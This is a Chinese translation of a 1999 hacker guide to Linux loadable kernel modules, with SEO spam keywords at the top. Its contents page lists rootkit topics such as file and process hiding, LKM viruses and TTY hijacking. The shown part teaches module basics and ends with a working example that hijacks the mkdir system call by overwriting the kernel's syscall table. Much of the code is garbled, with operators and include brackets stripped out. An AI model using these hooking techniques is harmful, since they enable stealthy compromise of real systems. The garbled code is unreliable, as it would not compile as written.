上海网站设计服务商,网站seo优化网站,网站轮播图怎么设计,青岛谷歌优化转载#xff1a; 漏天剑 文章导航#xff1a; 为校长杯流尽最后一滴血#xff0c; Lkm注射#xff0c; 返回首页 Linux可加载内核模块#xff08;LKM#xff09; Linux可加载内核模块完全版
--黑客、病毒程序编写者和系统管理员的概念性指南
作者#xff1a;pragmatic… 转载 漏天剑 文章导航 为校长杯流尽最后一滴血 Lkm注射 返回首页 Linux可加载内核模块LKM Linux可加载内核模块完全版
--黑客、病毒程序编写者和系统管理员的概念性指南
作者pragmatic/THC
版本1.0
发布时间03/1999/
译者spark.bbsbbs.nankai.edu.cn I.基础知识
1.什么是LKM
2.什么是系统调用
3.什么是内核符号表
4.如何进行内核与用户空间内存数据的交换
5.使用用户空间的各种函数方法
6.常用内核空间函数列表
7.什么是内核后台进程
8.创建自己的设备 II.深入探讨
1.如何截获系统调用
2.哪些系统调用应被截获
2.1 寻找重要的系统调用strace命令方法
3.迷惑内核系统表
4.针对文件系统的黑客方法
4.1 如何隐藏文件
4.2 如何隐藏文件内容总体说明
4.3 如何隐藏文件的特定部分源语示例
4.4 如何监视重定向文件操作
4.5 如何避免某一文件的属主问题
4.6 如何使黑客工具目录不可访问
4.7 如何改变CHROOT环境
5.针对进程的黑客方法
5.1如何隐藏某一进程
5.2如何重定向文件的执行
6.针对网络Socket的黑客方法
6.1 如何控制Socket操作
7.终端TTY的截取方法
8.用LKM编写病毒
8.1 LKM病毒是如何感染文件的不仅感染模块源语示例
8.2 LKM病毒如何协助入侵的
9.使LKM不可见、不可删除
10.其它滥用内核后台进程的方法
11.如何检测自己编写的当前LKM III.解决办法用于系统管理员
1.LKM检测程序的原理与思路
1.1 检测程序示例
1.2 密码保护的creat_module()函数类型程序的实例
2.反LKM传染程序的编写思路
3.使自己的程序不可跟踪原理
4.用LKM加固Linux内核
4.1 为何给予仲裁程序执行权用LKM实现的Phrack的Route的思路
4.2 链路修补用LKM实现的Phrack 的Solar Designer的思路
4.3 /proc 权限修补用LKM实现的Phrack的Route的思路
4.4 securelevel修补用LKM实现的Phrack的Route的思路
底层磁盘修补
IV.一些更好的思路用于黑客
1.反击管理员的LKM的技巧
2.修补整个内核—或创建黑客操作系统
2.1如何在/dev/kmem下寻找内核符号
2.2无需内核支持的新insmod命令
3.最后几句
内容提要
V.最新特性内核2.2
1.对LKM编写者来说主要的不同点 VI.后话
1.LKM的背景或如何使系统插件与入侵兼容
2.到其它资源的链接 致谢 附录
A –源代码
a) LKM Infection by Stealthf0rk/SVAT
b) Heroin - the classic one by Runar Jensen
c) LKM Hider / Socket Backdoor by plaguez
d) LKM TTY hijacking by halflife
e) AFHRM - the monitor tool by Michal Zalewski
f) CHROOT module trick by FLoW/HISPAHACK
g) Kernel Memory Patching by ?
h) Module insertion without native support by Silvio Cesare
导 言
用Linux 构造服务器环境越来越流行所以入侵Linux也日益增多。攻击Linux的最高技术之一就是使用内核代码。这种内核代码可据其特性称为可加载内核模块LKM是一段运行在内核空间的代码这就允许我们访问操作系统最敏感的部分。以前也有一些非常出色的介绍LKM入侵的文献例如Phrack他们介绍新的思路、新的方法并完成一个黑客梦寐以求的功能的LKM并且1998年一些公开的讨论新闻组、邮件列表也是非常热门的。
为什么我又写一遍关于LKM的文字呢有几个原因
以前的文献对内核初学者没有给出好的解释本文有比较大的篇幅帮助初学者去理解概念。我见过很多利用漏洞或窃听程序却对这些东西如何工作一无所知的人。我在文中包括了大量加了详细注释的源代码主要也是为了帮助那些知道网络入侵远远不同于网络破坏的初学者。 所有公开的文献都是关于某个主题的没有专门为黑客写的关于LKM的完备的指导。本文将涵盖内核滥用的几乎所有方面甚至关于病毒 本文是从黑客和病毒程序编写者的角度出发的但对系统管理员和一般内核开发人员改进工作也有帮助。 早期的文献向我们提供了LKM滥用的主要优点和方法但没有什么是大家没听说过的。本文将提供一些新的思路。没有完全都是新的东西但有些东西会对我们有所帮助 本文将提供一些概念用简单的方法防止LKM攻击。 本文还将说明如何运用一些方法打破LKM保护如实时代码修补。 请记住新思路的实现是用源语模块实现的只用于演示如果要实际使用就须改写。
本文的写作动机是给大家一篇涵盖LKM所有问题的文章。在附录A给出了一些已有的LKM插件和它们工作的简单描述以及如何使用它们。
整个文章第五部分除外是基于Linux2.0.x机器的x86。本人测试了所有程序和代码段。为了使用本文的大部分程序例子Linux系统必须支持LKM。只有第四部分提供的源代码无须本地LKM支持。本文中的大部分思路在2.2.x版本的系统上也能用也许需要一些轻微改动但想到2.2.x 内核刚刚发布1/99并且大部分发行商一直使用2.0.xRedhat,SuSE,Caldera,...。要到四月一些发行商如SuSE才会发行它们的2.2.x版内核所以目前还无须知道如何入侵2.2.x内核。好的系统管理员为了更稳定的2.2.x内核也等了好几个月了。[注好多系统不需要2.2.x内核所以还会沿用2.0.x]
本文有专门一节帮助系统管理员针对LKM提高系统安全。读者黑客也要阅读此节你必须懂得系统管理员懂的所有知识甚至比他懂的更多。你从此节也会获得一些思路帮助自己编写更高级的‘黑客—LKM’。请通读全文。
请记住本文仅用于教育目的。如利用本文的知识从事非法活动后果自负。 第一部分 基础知识
1、什么是LKM LKM是Linux内核为了扩展其功能所使用的可加载内核模块。LKM的优点动态加载无须重新实现整个内核。基于此特性LKM常被用作特殊设备的驱动程序或文件系统如声卡的驱动程序等等。
所有的LKM包含两个最基本的函数最小 int init_module(void) /*用于初始化所有成员*/
{
...
} void cleanup_module(void) /*用于退出清理*/
{
...
} 加载一个模块使用如下命令一般只有root有此权限
#insomod module.o
此命令强制系统如下工作
加载目标文件此处为module.o 调用create_module系统调用关于系统调用见I.2重新分配内存 内核符号用系统调用get_kernel_syms解析尚未解析的引用 然后系统调用init_module初始化LKMà 即执行int init_module(void)函数 内核符号将在I.3中解释内核符号表。
下面我们写出第一个小LKM展示一下它的基本工作原理 #define MODULE
#include LINUX module.h int init_module(void)
{
printk(1Hello World/n);
return 0;
} void cleanup_module(void)
{
printk(1Bye, Bye);
} 你可能想知道为什么用printk(...)而不是用printf(...)是的内核编程大体上是不同于用户空间编程的。你只有一个有限的命令集见 I.6。用这些命令你不能做太多事所以你将学到如何利用你所知的用户空间应用的大量函数去帮助你攻击内核。耐心一点我们不得不做一些以前没听过没做过...的一些事。
上例如下编译
#gcc –c –O3 helloworld.c
#insmod helloworld.o
好我们的模块被加载了并显示了最著名的文字。现在你可以用一些命令来告诉你你的LKM确实存在于内核空间了。
#lsmod
Module Pages Used by
helloworld 1 0
此命令从/proc/modules下读取信息显示当前哪些模块被加载。’Pages’是内存信息此模块用了多少页’Used by’栏目告之此模块被系统用了多少次引用次数。只有此栏目数值为0时才能删除模块检查此数值后可用如下命令删除模块
#rmmod helloworld
好这是我们朝着滥用LKM走的第一小步非常小。本人经常把LKM同以前DOS下内存驻留程序进行对比我知道它们有很多不同它们都是我们驻留在内存中截获每个我们想要的中断的一个门户。微软的Win9x有种程序叫VxD的也同LKM相似当然也有很多不同。这些驻留程序最令人感兴趣的部分是具有挂起系统函数的功能这些系统函数在Linux世界里称为系统调用。
2、什么是系统调用 我希望你能明白每个操作系统都有一些嵌在内核中的函数这些函数可以被系统的每个操作使用。
这些Linux使用的函数称为系统调用。它们对应用户和内核之间的转换。在用户空间打开一个文件对应内核空间的sys_open系统调用。要得到自己系统的完全的系统调用列表可以看/usr/include/sys/syscall.h文件。下面是我机器上的syscall.h列表
#ifndef _SYS_SYSCALL_H
#define _SYS_SYSCALL_H #define SYS_setup 0 /* 只用于初始化使系统运行 。*/
#define SYS_exit 1
#define SYS_fork 2
#define SYS_read 3
#define SYS_write 4
#define SYS_open 5
#define SYS_close 6
#define SYS_waitpid 7
#define SYS_creat 8
#define SYS_link 9
#define SYS_unlink 10
#define SYS_execve 11
#define SYS_chdir 12
#define SYS_time 13
#define SYS_prev_mknod 14
#define SYS_chmod 15
#define SYS_chown 16
#define SYS_break 17
#define SYS_oldstat 18
#define SYS_lseek 19
#define SYS_getpid 20
#define SYS_mount 21
#define SYS_umount 22
#define SYS_setuid 23
#define SYS_getuid 24
#define SYS_stime 25
#define SYS_ptrace 26
#define SYS_alarm 27
#define SYS_oldfstat 28
#define SYS_pause 29
#define SYS_utime 30
#define SYS_stty 31
#define SYS_gtty 32
#define SYS_access 33
#define SYS_nice 34
#define SYS_ftime 35
#define SYS_sync 36
#define SYS_kill 37
#define SYS_rename 38
#define SYS_mkdir 39
#define SYS_rmdir 40
#define SYS_dup 41
#define SYS_pipe 42
#define SYS_times 43
#define SYS_prof 44
#define SYS_brk 45
#define SYS_setgid 46
#define SYS_getgid 47
#define SYS_signal 48
#define SYS_geteuid 49
#define SYS_getegid 50
#define SYS_acct 51
#define SYS_phys 52
#define SYS_lock 53
#define SYS_ioctl 54
#define SYS_fcntl 55
#define SYS_mpx 56
#define SYS_setpgid 57
#define SYS_ulimit 58
#define SYS_oldolduname 59
#define SYS_umask 60
#define SYS_chroot 61
#define SYS_prev_ustat 62
#define SYS_dup2 63
#define SYS_getppid 64
#define SYS_getpgrp 65
#define SYS_setsid 66
#define SYS_sigaction 67
#define SYS_siggetmask 68
#define SYS_sigsetmask 69
#define SYS_setreuid 70
#define SYS_setregid 71
#define SYS_sigsuspend 72
#define SYS_sigpending 73
#define SYS_sethostname 74
#define SYS_setrlimit 75
#define SYS_getrlimit 76
#define SYS_getrusage 77
#define SYS_gettimeofday 78
#define SYS_settimeofday 79
#define SYS_getgroups 80
#define SYS_setgroups 81
#define SYS_select 82
#define SYS_symlink 83
#define SYS_oldlstat 84
#define SYS_readlink 85
#define SYS_uselib 86
#define SYS_swapon 87
#define SYS_reboot 88
#define SYS_readdir 89
#define SYS_mmap 90
#define SYS_munmap 91
#define SYS_truncate 92
#define SYS_ftruncate 93
#define SYS_fchmod 94
#define SYS_fchown 95
#define SYS_getpriority 96
#define SYS_setpriority 97
#define SYS_profil 98
#define SYS_statfs 99
#define SYS_fstatfs 100
#define SYS_ioperm 101
#define SYS_socketcall 102
#define SYS_klog 103
#define SYS_setitimer 104
#define SYS_getitimer 105
#define SYS_prev_stat 106
#define SYS_prev_lstat 107
#define SYS_prev_fstat 108
#define SYS_olduname 109
#define SYS_iopl 110
#define SYS_vhangup 111
#define SYS_idle 112
#define SYS_vm86old 113
#define SYS_wait4 114
#define SYS_swapoff 115
#define SYS_sysinfo 116
#define SYS_ipc 117
#define SYS_fsync 118
#define SYS_sigreturn 119
#define SYS_clone 120
#define SYS_setdomainname 121
#define SYS_uname 122
#define SYS_modify_ldt 123
#define SYS_adjtimex 124
#define SYS_mprotect 125
#define SYS_sigprocmask 126
#define SYS_create_module 127
#define SYS_init_module 128
#define SYS_delete_module 129
#define SYS_get_kernel_syms 130
#define SYS_quotactl 131
#define SYS_getpgid 132
#define SYS_fchdir 133
#define SYS_bdflush 134
#define SYS_sysfs 135
#define SYS_personality 136
#define SYS_afs_syscall 137 /* 用于Andrew文件系统的系统调用。*/
#define SYS_setfsuid 138
#define SYS_setfsgid 139
#define SYS__llseek 140
#define SYS_getdents 141
#define SYS__newselect 142
#define SYS_flock 143
#define SYS_syscall_flock SYS_flock
#define SYS_msync 144
#define SYS_readv 145
#define SYS_syscall_readv SYS_readv
#define SYS_writev 146
#define SYS_syscall_writev SYS_writev
#define SYS_getsid 147
#define SYS_fdatasync 148
#define SYS__sysctl 149
#define SYS_mlock 150
#define SYS_munlock 151
#define SYS_mlockall 152
#define SYS_munlockall 153
#define SYS_sched_setparam 154
#define SYS_sched_getparam 155
#define SYS_sched_setscheduler 156
#define SYS_sched_getscheduler 157
#define SYS_sched_yield 158
#define SYS_sched_get_priority_max 159
#define SYS_sched_get_priority_min 160
#define SYS_sched_rr_get_interval 161
#define SYS_nanosleep 162
#define SYS_mremap 163
#define SYS_setresuid 164
#define SYS_getresuid 165
#define SYS_vm86 166
#define SYS_query_module 167
#define SYS_poll 168
#define SYS_syscall_poll SYS_poll #endif /* */ 每个系统调用被定义了一个数字见上列表实际上是用数字做系统调用。
内核用中断0x80管理所有的系统调用。系统调用号和其它参数被移入某个寄存器例如将系统调用号放入eax。Sys_call_table[]作为内核中的一个结构数组系统调用号此数组的索引这个结构数组把系统调用号映像到所需服务函数。
好这些知识足够继续读下去了下表列出了最让人感兴趣的系统调用附有简短说明。相信我如果你想编写真正有用的LKM你必须确切弄懂这些系统调用如何工作的。 系统调用描述int sys_brk(unsigned long new_brk); 改变数据段的大小à 此系统调用将在I.4中讨论int sys_fork(struct pt_regs regs); 对应用户空间著名函数fork()的系统调用 int sys_getuid ()
int sys_setuid (uid_t uid)
... 管理UID 等的系统调用 int sys_get_kernel_sysms(struct kernel_sym *table) 访问内核系统表的系统调用 (见I.3) int sys_sethostname (char *name, int len);
int sys_gethostname (char *name, int len); sys_sethostname 用于设置主机名sys_gethostname 用于取回主机名 int sys_chdir (const char *path);
int sys_fchdir (unsigned int fd);两个函数都用于设置当前路径cd ...int sys_chmod (const char *filename, mode_t mode);
int sys_chown (const char *filename, mode_t mode);
int sys_fchmod (unsigned int fildes, mode_t mode);
int sys_fchown (unsigned int fildes, mode_t mode);用来管理权限等的一些函数int sys_chroot (const char *filename); 为申请调用的进程设置根路径int sys_execve (struct pt_regs regs); 重要的系统调用用来执行文件pt_regs是寄存器堆栈long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg); 改变fd打开文件的描述符的特征int sys_link (const char *oldname, const char *newname);
int sym_link (const char *oldname, const char *newname);
int sys_unlink (const char *name);管理硬/软链接的系统调用int sys_rename (const char *oldname, const char *newname); 改文件名int sys_rmdir (const char* name);
int sys_mkdir (const *char filename, int mode);创建和删除目录int sys_open (const char *filename, int mode);
int sys_close (unsigned int fd);打开相关文件也可创建关闭文件int sys_read (unsigned int fd, char *buf, unsigned int count);
int sys_write (unsigned int fd, char *buf, unsigned int count);读写文件的系统调用int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count); 取文件列表的系统调用ls等命令int sys_readlink (const char *path, char *buf, int bufsize); 读符号链接int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp); 复杂I/O操作 sys_socketcall (int call, unsigned long args); socket 函数unsigned long sys_create_module (char *name, unsigned long size);
int sys_delete_module (char *name);
int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret);用于加载/卸载及查询LKM 我认为对任何入侵这些都是最重要的系统调用当然对你作为超级用户的系统可能还需要一些更特殊的。但一般的黑客更可能使用上面列出的。在第二部分你会学到怎样使用对你有用的系统调用。 3.什么是内核符号表
好我们理解了模块和系统调用最基本的概念。但还有另外一个我们需要理解的重点—内核符号表。看一下/proc/ksyms这个文件的每一项代表一个引出的公共内核符号可被我们的LKM访问。再仔细看看这个文件你会发现很多有趣的东西。这个文件真的很有趣可以帮助我们看一看我们的LKM能用哪些内核符号但有个问题在我们的LKM象函数一样中使用的每个符号也被引出为公共符号也列在此文件中所以有经验的系统管理员能发现我们的小LKM并杀掉它。
有很多种方法可防止管理员看到我们的LKM看节II。在第二节中提到的方法可以被称为欺骗’Hack’但你读第二节的内容时你看不到“把LKM符号排除在/proc/ksyms之外”的字样。在第二节中没提到这个问题的原因如下
你并不需要把你的模块符号排除在/proc/ksyms之外的技巧。LKM的开发人员可用如下的常规代码限制他们模块的输出符号
static struct symbol_table module_syms { /*定义自己的符号表*/
#include LINUX symtab_begin.h /*我们想要输出的符号我们真想么*/
...
}; register_symtab(module_syms); /*做实际的注册工作*/ 正如我所说我们不想输出任何符号为公共符号所以我们用如下构造函数
register_symtab(NULL);
这一行必须插入到init_module()函数中记住这一点 4.如何进行内核与用户空间内存数据的交换
到目前为止本文非常基本非常容易。现在我们来点难的但提高不多。在内核空间编程有很多好处但也有很多不足。系统调用从用户空间获得参数系统调用在一些封装程序如libc中实现但我们的LKM运行在内核空间。在节II中你会看到检查某个系统调用的参数非常重要因为要根据参数决定对策。但我们怎么才能在工作于内核空间的模块中访问用户空间中的参数呢
解决办法我们必须进行传送。
对非利用内核入侵的黑客来说有点奇怪但也非常容易。看下面的系统调用
int sys_chdir (const char *path)
想象一下系统调用它我们截获了调用将在节II中讲到。我们想检查一下用户想设置的路径所以我们必须访问char *path。如果你试着象下面那样直接访问path变量
printk(1%s/n, path);
就一定会出问题。
记住你是在内核空间你不能轻易的读用户空间内存。在Phrack52你可得到plaguez的解决方法专用于传送字符串。他用内核模式函数宏取回用户空间内存中的字节。
#include ASM segment.h get_user(pointer);
给这个函数一个指针指向*path就可帮助我们从用户空间取到想要的东西到内核空间。看一下plaguez写的在用户空间到内核空间移动字符串的的程序 char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp src;
int compt 0; do {
dest[compt] __get_user(tmp, 1);
}
while ((dest[compt - 1] ! /0) (compt ! n)); return dest;
}
如果我们想转换*path变量我们可用如下内核代码
char *kernel_space_path; kernel_space_path (char *) kmalloc(100, GFP_KERNEL); /* 在内核空间中分配内存*/
(void) strncpy_fromfs(test, path, 20); /*调用plaguez写的函数*/
printk(1%s/n, kernel_space_path); /*现在我们可以使用任何想要的数据了*/
kfree(test); /*想着释放内存*/ 上面的代码工作的非常好。一般性的传送太复杂plaguez只用它来传送字符串函数只用于字符串拷贝。一般数据的传送可用如下函数简单实现
#include ASM segment.h
void memcpy_fromfs(void *to, const void *from, unsigned long count);
两个函数显而易见基于同类命令但第二个函数同plaguez新定义的函数几乎一样。我推荐用memcpy_fromfs(...)做一般数据传送plaguez的前一个用于字符串拷贝。
现在我们知道了如何把用户空间的内存转换到内核空间。但反向怎么办这有点难因为我们不容易在内核空间的位置定位用户空间。也许我们可以用如下方式处理转换
#include ASM segment.h
void memcpy_tofs(void *to, const void *from, unsigned long count);
但如何在用户空间中定位*to指针呢plaguez在Phrack一文中给出了最好的解决方法
/*我们需要brk系统调用*/
static inline _syscall1(int, brk, void *, end_data_segment); ... int ret, tmp;
char *truc OLDEXEC;
char *nouveau NEWEXEC;
unsigned long mmm;
mmm current-mm-brk; /*定位当前进程数据段大小*/
ret brk((void ) (mmm 256)); /*利用系统调用brk为当前进程增加内存256个字节*/
if (ret 0)
return ret; /*分配不成功*/
memcpy_tofs((void *) (mmm 2), nouveau, strlen(nouveau) 1);
这里使用了一个非常高明的技巧。Current是指向当前进程任务结构的指针mm是指向对应进程内存管理的数据结构mm_struct的指针。通过用 brk系统调用作用于current-mm-brk我们可以增加未用数据段空间大小同时我们知道分配内存就是处理数据段所以通过增加未用空间大小我们就为当前进程分配了一些内存。这块内存可用于将内核空间内存拷贝到用户空间当前进程。
你可能想知道上面代码中第一行是做什么用的。这一行帮助我们使用在内核空间象调用函数一样使用用户空间。所有的用户空间函数对应一个a_syscall(...)形式的宏所以我们可以构造一个系统调用宏对应用户空间的某个函数通过系统调用对应这里是针对brk(..)的。 5.使用用户空间的各种函数方法
你看到的在I.4中我们用一系统调用宏来构造我们自己的brk调用它很象我们所知的用户空间的brk。事实是用户空间的库函数并非所有的是通过这样的系统调用宏来实现的。下面的代码展示了用来构造我们在I.4中用的brk(...)函数的_syscall(...)宏取自 /asm/unistd.h。 #define _syscall1(type,name,type1,arg1) /
type name(type1 arg1) /
{ /
long __res; /
__asm__ volatile (int $0x80 /
: a (__res) /
: 0 (__NR_##name),b ((long)(arg1))); /
if (__res 0) /
return (type) __res; /
errno -__res; /
return -1; /
}
你无须了解这段代码的全部功能它只是用_syscall的参数作为参数调用中断0x80见I.2。name是我们所需的系统调用name被扩展为 __NR_name在/asm/unistd.h中定义。用这种办法我们实现了brk函数。其它带有不同个数参数的函数由其它宏实现 (_syscallX其中X代表参数个数)。
我个人用其它方法实现函数见下例 int (*open)(char *, int, int); /*声明原型*/
open sys_call_table[SYS_open]; /*你也可以用__NR_open*/ 用这种方法你无须用任何系统调用宏你只用来自sys_call_table的函数指针就可以了。我曾在网上发现SVAT的著名LKM感染程序就是用的这种象函数一样构造用户空间的方法。我认为这是较好的解决办法但你要自己判断和测试。
要注意为这些系统调用提供参数的时候是来自用户空间而非你的内核空间。读I.4找把内核空间的数据传递到用户空间内存中的方法。
一个非常简单的做这些的方法是处理寄存器。你必须知道Linux用段选择器去区分内核空间、用户空间等等。从用户空间传给系统调用的参数位于数据段选择器限定的某个位置。[我在I.4中没提到这些因为它更适合本节。]
从asm/segment.h 知DS可用get_ds()取回。所以系统调用中使用的参数数据可在内核空间中访问只要我们把内核空间所用的段选择器的DS值设为用户段的值就可以了。这可用set_fs(...)实现。但要小心你必须访问完系统调用的参数之后恢复FS。下面我们看一段有用的代码
例如filename在内核空间的我们刚建立的一个字符串
unsigned long old_fs_valueget_fs(); set_fs(get_ds); /*此后我们可以访问用户空间中数据*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); /*恢复fs...*/
我认为这是最简单/最快的解决问题的方法但还需你自己测试。记住我在这里举的函数例子brkopen都是通过一个系统调用实现的。但也有很多用户空间函数是集成在一个系统调用里面的。看一下重要系统调用列表I.2例如sys_socket调用实现了所有关于socket的功能创建、关闭、发送、接收...。所以构造自己的函数是要小心最好看一下内核源码。 6.常用内核空间函数列表
本文的开始我介绍了printk(...)函数它是所有人都可在内核空间使用的所以叫内核函数。内核开发人员需要很多通常只有通过库函数才能完成的复杂函数这些函数被编制成内核函数。下面列出经常使用的最重要的内核函数 函数/宏描述int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);接收数据到字符串中的函数 printk (...) 同用户空间的printf函数 void *memset (void *s, char c, size_t count);
void *memcpy (void *dest, const void *src, size_t count);
char *bcopy (const char *src, char *dest, int count);
void *memmove (void *dest, const void *src, size_t count);
int memcmp (const void *cs, const void *ct, size_t count);
void *memscan (void *addr, unsigned char c, size_t size);内存函数int register_symtab (struct symbol_table *intab); 见 I.1 char *strcpy (char *dest, const char *src);
char *strncpy (char *dest, const char *src, size_t count);
char *strcat (char *dest, const char *src);
char *strncat (char *dest, const char *src, size_t count);
int strcmp (const char *cs, const char *ct);
int strncmp (const char *cs,const char *ct, size_t count);
char *strchr (const char *s, char c);
size_t strlen (const char *s);size_t strnlen (const char *s, size_t count);
size_t strspn (const char *s, const char *accept);
char *strpbrk (const char *cs, const char *ct);
char *strtok (char *s, const char *ct);字符串比较函数等等 unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base); 把字符串转换成数字get_user_byte (addr);
put_user_byte (x, addr);
get_user_word (addr);
put_user_word (x, addr);
get_user_long (addr);
put_user_long (x, addr);访问用户内存的函数suser();
fsuser();检测超级用户权限int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_chrdev (unsigned int major, const char *name);
int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_blkdev (unsigned int major, const char *name);登记设备驱动器的函数
..._chrdev - 字符设备
..._blkdev - 块设备 请记住这些函数中有的也可用I.5中提到的方法实现。当然你也要明白如果内核已经提供了这些自己构造就意义不大了。后面你将看到这些函数尤其是字符串比较对实现我们的目的非常重要。 7.什么是内核后台进程
最后我们基本到了基础知识部分的结尾现在我解释一下内核后台进程的运行情形/sbin/kerneld。从名字可以看到这是一个用户空间中等待某个动作的进程。首先应该知道为了应用kerneld的特点必须在建立内核时激活kerneld选项。Kerneld按如下方式工作如果内核想访问某项资源当然在内核空间而资源目前没有它并不产生错误而是向Kerneld请求该项资源。如果kerneld能够提供资源就加载所需的LKM内核继续运行。使用这种模式可以仅当LKM真正需要/不需要时被加载或卸载。很明显这些工作在用户空间和内核空间都有。
Kerneld存在于用户空间。如果内核请求一个新模块这个后台进程将收到一个内核发来的通知哪个模块被加载的字符串。内核可能发送一个一般的名字象eth0而非对象文件这时系统需要查找/etc/modules.conf中的别名行。这些行把系统所需的LKM同一般名称匹配起来。
下行说明eth0对应DEC的Tulip 驱动程序LKM
# /etc/modules.conf # 或/etc/conf.modules – 反过来
alias eth0 tulip
以上是对应用户空间由kerneld后台进程使用的。内核空间主要由4个函数对应。这些函数都基于对kernekl_send的调用。确切的通过kerneld_send调用这些函数的方法可参见linux/kerneld.h。下表列出上面提到的四个函数 函数描述int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);用于把输入数据放入字符串中的函数 int request_module (const char *name); 告知kerneld内核请求某个模块给出名称或类ID/名称 int release_module (const char* name, int waitflag); 卸载模块int delayed_release_module (const char *name); 延迟卸载int cancel_release_module (const char *name); 取消对delayed_release_module 的调用 注内核2.2版用其它模式请求模块。参见第五部分。 8.建立你自己的设备
附录A介绍了TTY截取功能它用一设备记录结果。所以我们先看一个设备驱动程序的很基本的例子。看如下代码这是一个最基本的驱动程序我主要写来演示它几乎什么也不做
#define MODULE
#define __KERNEL__ #include LINUX module.h
#include LINUX kernel.h
#include ASM unistd.h
#include SYS syscall.h
#include SYS types.h
#include ASM fcntl.h
#include ASM errno.h
#include LINUX types.h
#include LINUX dirent.h
#include SYS mman.h
#include LINUX string.h
#include LINUX fs.h
#include LINUX malloc.h /*只用于演示*/
static int driver_open(struct inode *i, struct file *f)
{
printk(1Open Function/n);
return 0;
} /*登记我们的驱动程序提供的所有函数*/
static struct file_operations fops {
NULL, /*lseek*/
NULL, /*read*/
NULL, /*write*/
NULL, /*readdir*/
NULL, /*select*/
NULL, /*ioctl*/
NULL, /*mmap*/
driver_open, /*open, 看一下我们提供的open函数*/
NULL, /*release*/
NULL /*fsync...*/
}; int init_module(void)
{
/*登记驱动程序符号为40名称为driver */
if(register_chrdev(40, driver, fops)) return -EIO;
return 0;
} void cleanup_module(void)
{
/*注销driver*/
unregister_chrdev(40, driver);
} 最重要的函数是register_chrdev(...)它把我们的驱动程序以主设备号40登记如果你想访问此驱动程序如下操作
# mknode /dev/driver c 40 0
# insmod driver.o
然后你就可以访问设备了但我因为没时间没实现任何功能。File_operations结构指明我们的驱动程序将提供给系统的所有函数操作。正如你所见我仅仅实现了最基本的无用函数输出一点东西。显然你可以用如上方法简单的实现你自己的设备。做一点练习。如果你想记录数据如击键你可以在驱动程序中建立一个缓冲区然后通过设备接口将其内容输出。 第二部分 深入探讨 1、如何截获系统调用 现在我们开始滥用LKM模式。一般LKM用于扩展内核尤其硬件驱动程序。我们的攻击‘hack’要做点儿不同的首先截获系统调用然后修改它们以便针对某个命令改变系统的响应方式。下面的模块使修改过的系统上的用户不能创建目录。这只是我们将如何工作的一个小小演示
#define MODULE
#define __KERNEL__ #include LINUX module.h
#include LINUX kernel.h
#include ASM unistd.h
#include SYS syscall.h
#include SYS types.h
#include ASM fcntl.h
#include ASM errno.h
#include LINUX types.h
#include LINUX dirent.h
#include SYS mman.h
#include LINUX string.h
#include LINUX fs.h
#include LINUX malloc.h extern void* sys_call_table[]; /*sys_call_table 被引出所以我们可访问它*/ int (*orig_mkdir)(const char *path); /*未改前的系统调用*/ int hacked_mkdir(const char *path)
{
return 0; /*一切正常但新的系统调用什么也不做*/
} int init_module(void) /*模块初始化*/
{
orig_mkdirsys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]hacked_mkdir;
return 0;
} void cleanup_module(void) /*模块卸载*/
{
sys_call_table[SYS_mkdir]orig_mkdir; /*把mkdir系统调用恢复*/
}
编译执行这个模块见I.1试着建目录应该不行。因为返值为0意味着正常我们不能获得错误信息。删掉模块后又可以建目录了。如你所见要截获内核系统调用只需更改sys_call_table见I.2中的对应登记项。
截获系统调用的一般方法大致如下列出
在sys_call_table[]中查找系统调用的登记项看一下include/sys/syscall.h 用函数指针把sys_call_table[X]中的原始登记项保存X代表想截获的系统调用号 通过设置sys_call_table[X]为所需函数地址把你自己定义的新的系统调用伪装过的地址保存起来。 你要意识到把原始系统调用的函数指针保存非常有用因为在你的伪造的函数中要用它来仿真原始函数。在写‘Hack-LKM’时你要面对的第一个问题就是‘哪个系统调用应被截获’。 2.哪些系统调用应被截获
也许你并非‘内核高手’不知道所有应用程序或命令可使用的用于用户空间函数的系统调用。所以我将给你一些找到要控制的系统调用的提示
a).读源代码。对于象Linux这样的系统你几乎可以得到用户管理员所用的所有程序的源代码。一旦你找到一些基本函数如dup,open,write...看b)。
b).看一下include/sys/syscall.h见I.2试着找出直接对应的系统调用对于dup可找到SYS_dup对于write可找到SYS_write...。如果这样不行看c)。
c).一些调用如socket,send,receive,...是通过一个系统调用实现的正如以前我提过的。在include文件中找一下相关系统调用。
记住并非所有的C库函数都对应一个系统调用大多函数根本不同任何系统调用有关系。有一点经验的黑客会看一下 I.2中的系统调用列表那里有足够的信息。例如很明显用户ID管理是通过uid系统调用实现的。如果你想更有把握你也可以看一下库源代码/内核源代码。
比较棘手的问题是管理员写自己的应用程序来检查系统的集成性/安全性。这些程序会导致源代码泄露我们无法得知这些程序如何工作也不知为了隐藏行迹和工具应截获哪些系统调用。也有可能管理员引入一个隐藏的LKM作为一个漂亮的象黑客做的一样的系统调用去检查系统的安全性管理员经常使用黑客技术保护自己的系统。所以下一步我们该怎么办 2.1 寻找重要的系统调用strace命令方法
假设你懂用超级管理程序检查系统可用多种方式做如截获TTY见II.9/附录A一个问题是你在超级管理程序中要隐藏自己的行迹直到某一时刻...。所以用strace运行程序可能要求你有root权限。
#strace ‘要运行的程序’
这个命令将给出一个漂亮的输出就是运行程序中用到的所有系统调用甚至包括管理员在他的伪装LKM如果有的话用到的系统调用。我没有能演示简单输出的超级管理程序但我们可以看一下’strace whoami’的输出结果。 execve(/usr/bin/whoami, [whoami], [/* 50 vars */]) 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) 0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) 0
stat(/etc/ld.so.cache, {st_modeS_IFREG|0644, st_size13363, ...}) 0
